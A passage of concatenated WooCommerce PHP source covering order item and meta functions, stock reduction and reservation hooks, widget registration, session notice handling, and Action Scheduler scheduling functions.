return function_exists( 'delete_term_meta' ) ? delete_term_meta( $term_id, $meta_key, $meta_value ) : delete_metadata( 'woocommerce_term', $term_id, $meta_key, $meta_value );
}
/**
* WooCommerce Term Meta API
*
* WC tables for storing term meta are deprecated from WordPress 4.4 since 4.4 has its own table.
* This function serves as a wrapper, using the new table if present, or falling back to the WC table.
*
* @deprecated 3.6.0
* @param int $term_id Term ID.
* @param string $key Meta key.
* @param bool $single Whether to return a single value. (default: true).
* @return mixed
*/
function get_woocommerce_term_meta( $term_id, $key, $single = true ) {
wc_deprecated_function( 'get_woocommerce_term_meta', '3.6', 'get_term_meta' );
return function_exists( 'get_term_meta' ) ? get_term_meta( $term_id, $key, $single ) : get_metadata( 'woocommerce_term', $term_id, $key, $single );
}
/**
* WooCommerce Order Item Functions
*
* Functions for order specific things.
*
* @package WooCommerce\Functions
* @version 3.4.0
*/
defined( 'ABSPATH' ) || exit;
/**
* Add a item to an order (for example a line item).
*
* @param int $order_id Order ID.
* @param array $item_array Items list.
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return int|bool Item ID or false
*/
function wc_add_order_item( $order_id, $item_array ) {
$order_id = absint( $order_id );
if ( ! $order_id ) {
return false;
}
$defaults = array(
'order_item_name' => '',
'order_item_type' => 'line_item',
);
$item_array = wp_parse_args( $item_array, $defaults );
$data_store = WC_Data_Store::load( 'order-item' );
$item_id = $data_store->add_order_item( $order_id, $item_array );
$item = WC_Order_Factory::get_order_item( $item_id );
do_action( 'woocommerce_new_order_item', $item_id, $item, $order_id );
return $item_id;
}
/**
* Update an item for an order.
*
* @since 2.2
* @param int $item_id Item ID.
* @param array $args Either `order_item_type` or `order_item_name`.
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return bool True if successfully updated, false otherwise.
*/
function wc_update_order_item( $item_id, $args ) {
$data_store = WC_Data_Store::load( 'order-item' );
$update = $data_store->update_order_item( $item_id, $args );
if ( false === $update ) {
return false;
}
do_action( 'woocommerce_update_order_item', $item_id, $args );
return true;
}
/**
* Delete an item from the order it belongs to based on item id.
*
* @param int $item_id Item ID.
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return bool
*/
function wc_delete_order_item( $item_id ) {
$item_id = absint( $item_id );
if ( ! $item_id ) {
return false;
}
$data_store = WC_Data_Store::load( 'order-item' );
do_action( 'woocommerce_before_delete_order_item', $item_id );
$data_store->delete_order_item( $item_id );
do_action( 'woocommerce_delete_order_item', $item_id );
return true;
}
/**
* WooCommerce Order Item Meta API - Update term meta.
*
* @param int $item_id Item ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value.
* @param string $prev_value Previous value (default: '').
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return bool
*/
function wc_update_order_item_meta( $item_id, $meta_key, $meta_value, $prev_value = '' ) {
$data_store = WC_Data_Store::load( 'order-item' );
if ( $data_store->update_metadata( $item_id, $meta_key, $meta_value, $prev_value ) ) {
WC_Cache_Helper::invalidate_cache_group( 'object_' . $item_id ); // Invalidate cache.
return true;
}
return false;
}
/**
* WooCommerce Order Item Meta API - Add term meta.
*
* @param int $item_id Item ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value.
* @param bool $unique If meta data should be unique (default: false).
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return int New row ID or 0.
*/
function wc_add_order_item_meta( $item_id, $meta_key, $meta_value, $unique = false ) {
$data_store = WC_Data_Store::load( 'order-item' );
$meta_id = $data_store->add_metadata( $item_id, $meta_key, $meta_value, $unique );
if ( $meta_id ) {
WC_Cache_Helper::invalidate_cache_group( 'object_' . $item_id ); // Invalidate cache.
return $meta_id;
}
return 0;
}
/**
* WooCommerce Order Item Meta API - Delete term meta.
*
* @param int $item_id Item ID.
* @param string $meta_key Meta key.
* @param mixed $meta_value Meta value (default: '').
* @param bool $delete_all Delete all meta data, defaults to `false`.
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return bool
*/
function wc_delete_order_item_meta( $item_id, $meta_key, $meta_value = '', $delete_all = false ) {
$data_store = WC_Data_Store::load( 'order-item' );
if ( $data_store->delete_metadata( $item_id, $meta_key, $meta_value, $delete_all ) ) {
WC_Cache_Helper::invalidate_cache_group( 'object_' . $item_id ); // Invalidate cache.
return true;
}
return false;
}
/**
* WooCommerce Order Item Meta API - Get term meta.
*
* @param int $item_id Item ID.
* @param string $key Meta key.
* @param bool $single Whether to return a single value. (default: true).
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return mixed
*/
function wc_get_order_item_meta( $item_id, $key, $single = true ) {
$data_store = WC_Data_Store::load( 'order-item' );
return $data_store->get_metadata( $item_id, $key, $single );
}
/**
* Get order ID by order item ID.
*
* @param int $item_id Item ID.
*
* @throws Exception When `WC_Data_Store::load` validation fails.
* @return int
*/
function wc_get_order_id_by_order_item_id( $item_id ) {
$data_store = WC_Data_Store::load( 'order-item' );
return $data_store->get_order_id_by_order_item_id( $item_id );
}
/**
* WooCommerce Stock Functions
*
* Functions used to manage product stock levels.
*
* @package WooCommerce\Functions
* @version 3.4.0
*/
defined( 'ABSPATH' ) || exit;
/**
* Update a product's stock amount.
*
* Uses queries rather than update_post_meta so we can do this in one query (to avoid stock issues).
*
* @since 3.0.0 this supports set, increase and decrease.
*
* @param int|WC_Product $product Product ID or product instance.
* @param int|null $stock_quantity Stock quantity.
* @param string $operation Type of operation, allows 'set', 'increase' and 'decrease'.
* @param bool $updating If true, the product object won't be saved here as it will be updated later.
* @return bool|int|null
*/
function wc_update_product_stock( $product, $stock_quantity = null, $operation = 'set', $updating = false ) {
if ( ! is_a( $product, 'WC_Product' ) ) {
$product = wc_get_product( $product );
}
if ( ! $product ) {
return false;
}
if ( ! is_null( $stock_quantity ) && $product->managing_stock() ) {
// Some products (variations) can have their stock managed by their parent. Get the correct object to be updated here.
$product_id_with_stock = $product->get_stock_managed_by_id();
$product_with_stock = $product_id_with_stock !== $product->get_id() ? wc_get_product( $product_id_with_stock ) : $product;
$data_store = WC_Data_Store::load( 'product' );
// Fire actions to let 3rd parties know the stock is about to be changed.
if ( $product_with_stock->is_type( 'variation' ) ) {
do_action( 'woocommerce_variation_before_set_stock', $product_with_stock );
} else {
do_action( 'woocommerce_product_before_set_stock', $product_with_stock );
}
// Update the database.
$new_stock = $data_store->update_product_stock( $product_id_with_stock, $stock_quantity, $operation );
// Update the product object.
$data_store->read_stock_quantity( $product_with_stock, $new_stock );
// If this is not being called during an update routine, save the product so stock status etc is in sync, and caches are cleared.
if ( ! $updating ) {
$product_with_stock->save();
}
// Fire actions to let 3rd parties know the stock changed.
if ( $product_with_stock->is_type( 'variation' ) ) {
do_action( 'woocommerce_variation_set_stock', $product_with_stock );
} else {
do_action( 'woocommerce_product_set_stock', $product_with_stock );
}
return $product_with_stock->get_stock_quantity();
}
return $product->get_stock_quantity();
}
/**
* Update a product's stock status.
*
* @param int $product_id Product ID.
* @param string $status Status.
*/
function wc_update_product_stock_status( $product_id, $status ) {
$product = wc_get_product( $product_id );
if ( $product ) {
$product->set_stock_status( $status );
$product->save();
}
}
/**
* When a payment is complete, we can reduce stock levels for items within an order.
*
* @since 3.0.0
* @param int $order_id Order ID.
*/
function wc_maybe_reduce_stock_levels( $order_id ) {
$order = wc_get_order( $order_id );
if ( ! $order ) {
return;
}
$stock_reduced = $order->get_data_store()->get_stock_reduced( $order_id );
$trigger_reduce = apply_filters( 'woocommerce_payment_complete_reduce_order_stock', ! $stock_reduced, $order_id );
// Only continue if we're reducing stock.
if ( ! $trigger_reduce ) {
return;
}
wc_reduce_stock_levels( $order );
// Ensure stock is marked as "reduced" in case payment complete or other stock actions are called.
$order->get_data_store()->set_stock_reduced( $order_id, true );
}
add_action( 'woocommerce_payment_complete', 'wc_maybe_reduce_stock_levels' );
add_action( 'woocommerce_order_status_completed', 'wc_maybe_reduce_stock_levels' );
add_action( 'woocommerce_order_status_processing', 'wc_maybe_reduce_stock_levels' );
add_action( 'woocommerce_order_status_on-hold', 'wc_maybe_reduce_stock_levels' );
/**
* When a payment is cancelled, restore stock.
*
* @since 3.0.0
* @param int $order_id Order ID.
*/
function wc_maybe_increase_stock_levels( $order_id ) {
$order = wc_get_order( $order_id );
if ( ! $order ) {
return;
}
$stock_reduced = $order->get_data_store()->get_stock_reduced( $order_id );
$trigger_increase = (bool) $stock_reduced;
// Only continue if we're increasing stock.
if ( ! $trigger_increase ) {
return;
}
wc_increase_stock_levels( $order );
// Ensure stock is not marked as "reduced" anymore.
$order->get_data_store()->set_stock_reduced( $order_id, false );
}
add_action( 'woocommerce_order_status_cancelled', 'wc_maybe_increase_stock_levels' );
add_action( 'woocommerce_order_status_pending', 'wc_maybe_increase_stock_levels' );
/**
* Reduce stock levels for items within an order, if stock has not already been reduced for the items.
*
* @since 3.0.0
* @param int|WC_Order $order_id Order ID or order instance.
*/
function wc_reduce_stock_levels( $order_id ) {
if ( is_a( $order_id, 'WC_Order' ) ) {
$order = $order_id;
$order_id = $order->get_id();
} else {
$order = wc_get_order( $order_id );
}
// We need an order, and a store with stock management to continue.
if ( ! $order || 'yes' !== get_option( 'woocommerce_manage_stock' ) || ! apply_filters( 'woocommerce_can_reduce_order_stock', true, $order ) ) {
return;
}
$changes = array();
// Loop over all items.
foreach ( $order->get_items() as $item ) {
if ( ! $item->is_type( 'line_item' ) ) {
continue;
}
// Only reduce stock once for each item.
$product = $item->get_product();
$item_stock_reduced = $item->get_meta( '_reduced_stock', true );
if ( $item_stock_reduced || ! $product || ! $product->managing_stock() ) {
continue;
}
/**
* Filter order item quantity.
*
* @param int|float $quantity Quantity.
* @param WC_Order $order Order data.
* @param WC_Order_Item_Product $item Order item data.
*/
$qty = apply_filters( 'woocommerce_order_item_quantity', $item->get_quantity(), $order, $item );
$item_name = $product->get_formatted_name();
$new_stock = wc_update_product_stock( $product, $qty, 'decrease' );
if ( is_wp_error( $new_stock ) ) {
/* translators: %s item name. */
$order->add_order_note( sprintf( __( 'Unable to reduce stock for item %s.', 'woocommerce' ), $item_name ) );
continue;
}
$item->add_meta_data( '_reduced_stock', $qty, true );
$item->save();
$change = array(
'product' => $product,
'from' => $new_stock + $qty,
'to' => $new_stock,
);
$changes[] = $change;
/**
* Fires when stock reduced to a specific line item
*
* @param WC_Order_Item_Product $item Order item data.
* @param array $change Change Details.
* @param WC_Order $order Order data.
* @since 7.6.0
*/
do_action( 'woocommerce_reduce_order_item_stock', $item, $change, $order );
}
wc_trigger_stock_change_notifications( $order, $changes );
do_action( 'woocommerce_reduce_order_stock', $order );
}
/**
* After stock change events, triggers emails and adds order notes.
*
* @since 3.5.0
* @param WC_Order $order order object.
* @param array $changes Array of changes.
*/
function wc_trigger_stock_change_notifications( $order, $changes ) {
if ( empty( $changes ) ) {
return;
}
$order_notes = array();
$no_stock_amount = absint( get_option( 'woocommerce_notify_no_stock_amount', 0 ) );
foreach ( $changes as $change ) {
$order_notes[] = $change['product']->get_formatted_name() . ' ' . $change['from'] . '→' . $change['to'];
$low_stock_amount = absint( wc_get_low_stock_amount( wc_get_product( $change['product']->get_id() ) ) );
if ( $change['to'] <= $no_stock_amount ) {
do_action( 'woocommerce_no_stock', wc_get_product( $change['product']->get_id() ) );
} elseif ( $change['to'] <= $low_stock_amount ) {
do_action( 'woocommerce_low_stock', wc_get_product( $change['product']->get_id() ) );
}
if ( $change['to'] < 0 ) {
do_action(
'woocommerce_product_on_backorder',
array(
'product' => wc_get_product( $change['product']->get_id() ),
'order_id' => $order->get_id(),
'quantity' => abs( $change['from'] - $change['to'] ),
)
);
}
}
$order->add_order_note( __( 'Stock levels reduced:', 'woocommerce' ) . ' ' . implode( ', ', $order_notes ) );
}
/**
* Increase stock levels for items within an order.
*
* @since 3.0.0
* @param int|WC_Order $order_id Order ID or order instance.
*/
function wc_increase_stock_levels( $order_id ) {
if ( is_a( $order_id, 'WC_Order' ) ) {
$order = $order_id;
$order_id = $order->get_id();
} else {
$order = wc_get_order( $order_id );
}
// We need an order, and a store with stock management to continue.
if ( ! $order || 'yes' !== get_option( 'woocommerce_manage_stock' ) || ! apply_filters( 'woocommerce_can_restore_order_stock', true, $order ) ) {
return;
}
$changes = array();
// Loop over all items.
foreach ( $order->get_items() as $item ) {
if ( ! $item->is_type( 'line_item' ) ) {
continue;
}
// Only increase stock once for each item.
$product = $item->get_product();
$item_stock_reduced = $item->get_meta( '_reduced_stock', true );
if ( ! $item_stock_reduced || ! $product || ! $product->managing_stock() ) {
continue;
}
$item_name = $product->get_formatted_name();
$new_stock = wc_update_product_stock( $product, $item_stock_reduced, 'increase' );
if ( is_wp_error( $new_stock ) ) {
/* translators: %s item name. */
$order->add_order_note( sprintf( __( 'Unable to restore stock for item %s.', 'woocommerce' ), $item_name ) );
continue;
}
$item->delete_meta_data( '_reduced_stock' );
$item->save();
$changes[] = $item_name . ' ' . ( $new_stock - $item_stock_reduced ) . '→' . $new_stock;
}
if ( $changes ) {
$order->add_order_note( __( 'Stock levels increased:', 'woocommerce' ) . ' ' . implode( ', ', $changes ) );
}
do_action( 'woocommerce_restore_order_stock', $order );
}
/**
* See how much stock is being held in pending orders.
*
* @since 3.5.0
* @param WC_Product $product Product to check.
* @param integer $exclude_order_id Order ID to exclude.
* @return int
*/
function wc_get_held_stock_quantity( WC_Product $product, $exclude_order_id = 0 ) {
/**
* Filter: woocommerce_hold_stock_for_checkout
* Allows enable/disable hold stock functionality on checkout.
*
* @since 4.3.0
* @param bool $enabled Default to true if managing stock globally.
*/
if ( ! apply_filters( 'woocommerce_hold_stock_for_checkout', wc_string_to_bool( get_option( 'woocommerce_manage_stock', 'yes' ) ) ) ) {
return 0;
}
return ( new \Automattic\WooCommerce\Checkout\Helpers\ReserveStock() )->get_reserved_stock( $product, $exclude_order_id );
}
/**
* Hold stock for an order.
*
* @throws ReserveStockException If reserve stock fails.
*
* @since 4.1.0
* @param \WC_Order|int $order Order ID or instance.
*/
function wc_reserve_stock_for_order( $order ) {
/**
* Filter: woocommerce_hold_stock_for_checkout
* Allows enable/disable hold stock functionality on checkout.
*
* @since @since 4.1.0
* @param bool $enabled Default to true if managing stock globally.
*/
if ( ! apply_filters( 'woocommerce_hold_stock_for_checkout', wc_string_to_bool( get_option( 'woocommerce_manage_stock', 'yes' ) ) ) ) {
return;
}
$order = $order instanceof WC_Order ? $order : wc_get_order( $order );
if ( $order ) {
( new \Automattic\WooCommerce\Checkout\Helpers\ReserveStock() )->reserve_stock_for_order( $order );
}
}
add_action( 'woocommerce_checkout_order_created', 'wc_reserve_stock_for_order' );
/**
* Release held stock for an order.
*
* @since 4.3.0
* @param \WC_Order|int $order Order ID or instance.
*/
function wc_release_stock_for_order( $order ) {
/**
* Filter: woocommerce_hold_stock_for_checkout
* Allows enable/disable hold stock functionality on checkout.
*
* @since 4.3.0
* @param bool $enabled Default to true if managing stock globally.
*/
if ( ! apply_filters( 'woocommerce_hold_stock_for_checkout', wc_string_to_bool( get_option( 'woocommerce_manage_stock', 'yes' ) ) ) ) {
return;
}
$order = $order instanceof WC_Order ? $order : wc_get_order( $order );
if ( $order ) {
( new \Automattic\WooCommerce\Checkout\Helpers\ReserveStock() )->release_stock_for_order( $order );
}
}
add_action( 'woocommerce_checkout_order_exception', 'wc_release_stock_for_order' );
add_action( 'woocommerce_payment_complete', 'wc_release_stock_for_order', 11 );
add_action( 'woocommerce_order_status_cancelled', 'wc_release_stock_for_order', 11 );
add_action( 'woocommerce_order_status_completed', 'wc_release_stock_for_order', 11 );
add_action( 'woocommerce_order_status_processing', 'wc_release_stock_for_order', 11 );
add_action( 'woocommerce_order_status_on-hold', 'wc_release_stock_for_order', 11 );
/**
* Return low stock amount to determine if notification needs to be sent
*
* Since 5.2.0, this function no longer redirects from variation to its parent product.
* Low stock amount can now be attached to the variation itself and if it isn't, only
* then we check the parent product, and if it's not there, then we take the default
* from the store-wide setting.
*
* @param WC_Product $product Product to get data from.
* @since 3.5.0
* @return int
*/
function wc_get_low_stock_amount( WC_Product $product ) {
$low_stock_amount = $product->get_low_stock_amount();
if ( '' === $low_stock_amount && $product->is_type( 'variation' ) ) {
$product = wc_get_product( $product->get_parent_id() );
$low_stock_amount = $product->get_low_stock_amount();
}
if ( '' === $low_stock_amount ) {
$low_stock_amount = get_option( 'woocommerce_notify_low_stock_amount', 2 );
}
return (int) $low_stock_amount;
}
/**
* WooCommerce Widget Functions
*
* Widget related functions and widget registration.
*
* @package WooCommerce\Functions
* @version 2.3.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
// Include widget classes.
require_once dirname( __FILE__ ) . '/abstracts/abstract-wc-widget.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-cart.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-layered-nav-filters.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-layered-nav.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-price-filter.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-product-categories.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-product-search.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-product-tag-cloud.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-products.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-rating-filter.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-recent-reviews.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-recently-viewed.php';
require_once dirname( __FILE__ ) . '/widgets/class-wc-widget-top-rated-products.php';
/**
* Register Widgets.
*
* @since 2.3.0
*/
function wc_register_widgets() {
register_widget( 'WC_Widget_Cart' );
register_widget( 'WC_Widget_Layered_Nav_Filters' );
register_widget( 'WC_Widget_Layered_Nav' );
register_widget( 'WC_Widget_Price_Filter' );
register_widget( 'WC_Widget_Product_Categories' );
register_widget( 'WC_Widget_Product_Search' );
register_widget( 'WC_Widget_Product_Tag_Cloud' );
register_widget( 'WC_Widget_Products' );
register_widget( 'WC_Widget_Recently_Viewed' );
if ( 'yes' === get_option( 'woocommerce_enable_reviews', 'yes' ) ) {
register_widget( 'WC_Widget_Top_Rated_Products' );
register_widget( 'WC_Widget_Recent_Reviews' );
register_widget( 'WC_Widget_Rating_Filter' );
}
}
add_action( 'widgets_init', 'wc_register_widgets' );
/**
* WooCommerce Message Functions
*
* Functions for error/message handling and display.
*
* @package WooCommerce\Functions
* @version 2.1.0
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Get the count of notices added, either for all notices (default) or for one.
* particular notice type specified by $notice_type.
*
* @since 2.1
* @param string $notice_type Optional. The name of the notice type - either error, success or notice.
* @return int
*/
function wc_notice_count( $notice_type = '' ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return;
}
$notice_count = 0;
$all_notices = WC()->session->get( 'wc_notices', array() );
if ( isset( $all_notices[ $notice_type ] ) ) {
$notice_count = count( $all_notices[ $notice_type ] );
} elseif ( empty( $notice_type ) ) {
foreach ( $all_notices as $notices ) {
$notice_count += count( $notices );
}
}
return $notice_count;
}
/**
* Check if a notice has already been added.
*
* @since 2.1
* @param string $message The text to display in the notice.
* @param string $notice_type Optional. The name of the notice type - either error, success or notice.
* @return bool
*/
function wc_has_notice( $message, $notice_type = 'success' ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return false;
}
$notices = WC()->session->get( 'wc_notices', array() );
$notices = isset( $notices[ $notice_type ] ) ? $notices[ $notice_type ] : array();
return array_search( $message, wp_list_pluck( $notices, 'notice' ), true ) !== false;
}
/**
* Add and store a notice.
*
* @since 2.1
* @version 3.9.0
* @param string $message The text to display in the notice.
* @param string $notice_type Optional. The name of the notice type - either error, success or notice.
* @param array $data Optional notice data.
*/
function wc_add_notice( $message, $notice_type = 'success', $data = array() ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return;
}
$notices = WC()->session->get( 'wc_notices', array() );
// Backward compatibility.
if ( 'success' === $notice_type ) {
$message = apply_filters( 'woocommerce_add_message', $message );
}
$message = apply_filters( 'woocommerce_add_' . $notice_type, $message );
if ( ! empty( $message ) ) {
$notices[ $notice_type ][] = array(
'notice' => $message,
'data' => $data,
);
}
WC()->session->set( 'wc_notices', $notices );
}
/**
* Set all notices at once.
*
* @since 2.6.0
* @param array[] $notices Array of notices.
*/
function wc_set_notices( $notices ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.6' );
return;
}
WC()->session->set( 'wc_notices', $notices );
}
/**
* Unset all notices.
*
* @since 2.1
*/
function wc_clear_notices() {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return;
}
WC()->session->set( 'wc_notices', null );
}
/**
* Prints messages and errors which are stored in the session, then clears them.
*
* @since 2.1
* @param bool $return true to return rather than echo. @since 3.5.0.
* @return string|null
*/
function wc_print_notices( $return = false ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return;
}
$all_notices = WC()->session->get( 'wc_notices', array() );
$notice_types = apply_filters( 'woocommerce_notice_types', array( 'error', 'success', 'notice' ) );
// Buffer output.
ob_start();
foreach ( $notice_types as $notice_type ) {
if ( wc_notice_count( $notice_type ) > 0 ) {
$messages = array();
foreach ( $all_notices[ $notice_type ] as $notice ) {
$messages[] = isset( $notice['notice'] ) ? $notice['notice'] : $notice;
}
wc_get_template(
"notices/{$notice_type}.php",
array(
'messages' => array_filter( $messages ), // @deprecated 3.9.0
'notices' => array_filter( $all_notices[ $notice_type ] ),
)
);
}
}
wc_clear_notices();
$notices = wc_kses_notice( ob_get_clean() );
if ( $return ) {
return $notices;
}
echo $notices; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
}
/**
* Print a single notice immediately.
*
* @since 2.1
* @version 3.9.0
* @param string $message The text to display in the notice.
* @param string $notice_type Optional. The singular name of the notice type - either error, success or notice.
* @param array $data Optional notice data. @since 3.9.0.
*/
function wc_print_notice( $message, $notice_type = 'success', $data = array() ) {
if ( 'success' === $notice_type ) {
$message = apply_filters( 'woocommerce_add_message', $message );
}
$message = apply_filters( 'woocommerce_add_' . $notice_type, $message );
wc_get_template(
"notices/{$notice_type}.php",
array(
'messages' => array( $message ), // @deprecated 3.9.0
'notices' => array(
array(
'notice' => $message,
'data' => $data,
),
),
)
);
}
/**
* Returns all queued notices, optionally filtered by a notice type.
*
* @since 2.1
* @version 3.9.0
* @param string $notice_type Optional. The singular name of the notice type - either error, success or notice.
* @return array[]
*/
function wc_get_notices( $notice_type = '' ) {
if ( ! did_action( 'woocommerce_init' ) ) {
wc_doing_it_wrong( __FUNCTION__, __( 'This function should not be called before woocommerce_init.', 'woocommerce' ), '2.3' );
return;
}
$all_notices = WC()->session->get( 'wc_notices', array() );
if ( empty( $notice_type ) ) {
$notices = $all_notices;
} elseif ( isset( $all_notices[ $notice_type ] ) ) {
$notices = $all_notices[ $notice_type ];
} else {
$notices = array();
}
return $notices;
}
/**
* Add notices for WP Errors.
*
* @param WP_Error $errors Errors.
*/
function wc_add_wp_error_notices( $errors ) {
if ( is_wp_error( $errors ) && $errors->get_error_messages() ) {
foreach ( $errors->get_error_messages() as $error ) {
wc_add_notice( $error, 'error' );
}
}
}
/**
* Filters out the same tags as wp_kses_post, but allows tabindex for element.
*
* @since 3.5.0
* @param string $message Content to filter through kses.
* @return string
*/
function wc_kses_notice( $message ) {
$allowed_tags = array_replace_recursive(
wp_kses_allowed_html( 'post' ),
array(
'a' => array(
'tabindex' => true,
),
)
);
/**
* Kses notice allowed tags.
*
* @since 3.9.0
* @param array[]|string $allowed_tags An array of allowed HTML elements and attributes, or a context name such as 'post'.
*/
return wp_kses( $message, apply_filters( 'woocommerce_kses_notice_allowed_tags', $allowed_tags ) );
}
/**
* Get notice data attribute.
*
* @since 3.9.0
* @param array $notice Notice data.
* @return string
*/
function wc_get_notice_data_attr( $notice ) {
if ( empty( $notice['data'] ) ) {
return;
}
$attr = '';
foreach ( $notice['data'] as $key => $value ) {
$attr .= sprintf(
' data-%1$s="%2$s"',
sanitize_title( $key ),
esc_attr( $value )
);
}
return $attr;
}
/**
* General API functions for scheduling actions
*
* @package ActionScheduler.
*/
/**
* Enqueue an action to run one time, as soon as possible
*
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique.
*
* @return int The action ID.
*/
function as_enqueue_async_action( $hook, $args = array(), $group = '', $unique = false ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing async
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the enqueued action ID (enqueued using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
*/
$pre = apply_filters( 'pre_as_enqueue_async_action', null, $hook, $args, $group );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->async_unique( $hook, $args, $group, $unique );
}
/**
* Schedule an action to run one time
*
* @param int $timestamp When the job will run.
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique.
*
* @return int The action ID.
*/
function as_schedule_single_action( $timestamp, $hook, $args = array(), $group = '', $unique = false ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing single
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the scheduled action ID (scheduled using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param int $timestamp When the action will run.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
*/
$pre = apply_filters( 'pre_as_schedule_single_action', null, $timestamp, $hook, $args, $group );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->single_unique( $hook, $args, $timestamp, $group, $unique );
}
/**
* Schedule a recurring action
*
* @param int $timestamp When the first instance of the job will run.
* @param int $interval_in_seconds How long to wait between runs.
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique.
*
* @return int The action ID.
*/
function as_schedule_recurring_action( $timestamp, $interval_in_seconds, $hook, $args = array(), $group = '', $unique = false ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing recurring
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the scheduled action ID (scheduled using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param int $timestamp When the action will run.
* @param int $interval_in_seconds How long to wait between runs.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
*/
$pre = apply_filters( 'pre_as_schedule_recurring_action', null, $timestamp, $interval_in_seconds, $hook, $args, $group );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->recurring_unique( $hook, $args, $timestamp, $interval_in_seconds, $group, $unique );
}
/**
* Schedule an action that recurs on a cron-like schedule.
*
* @param int $timestamp The first instance of the action will be scheduled
* to run at a time calculated after this timestamp matching the cron
* expression. This can be used to delay the first instance of the action.
* @param string $schedule A cron-link schedule string.
* @see http://en.wikipedia.org/wiki/Cron
* * * * * * *
* ┬ ┬ ┬ ┬ ┬ ┬
* | | | | | |
* | | | | | + year [optional]
* | | | | +----- day of week (0 - 7) (Sunday=0 or 7)
* | | | +---------- month (1 - 12)
* | | +--------------- day of month (1 - 31)
* | +-------------------- hour (0 - 23)
* +------------------------- min (0 - 59)
* @param string $hook The hook to trigger.
* @param array $args Arguments to pass when the hook triggers.
* @param string $group The group to assign this job to.
* @param bool $unique Whether the action should be unique.
*
* @return int The action ID.
*/
function as_schedule_cron_action( $timestamp, $schedule, $hook, $args = array(), $group = '', $unique = false ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing cron
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the scheduled action ID (scheduled using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param int $timestamp When the action will run.
* @param string $schedule Cron-like schedule string.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
*/
$pre = apply_filters( 'pre_as_schedule_cron_action', null, $timestamp, $schedule, $hook, $args, $group );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->cron_unique( $hook, $args, $timestamp, $schedule, $group, $unique );
}
/**
* Cancel the next occurrence of a scheduled action.
*
* While only the next instance of a recurring or cron action is unscheduled by this method, that will also prevent
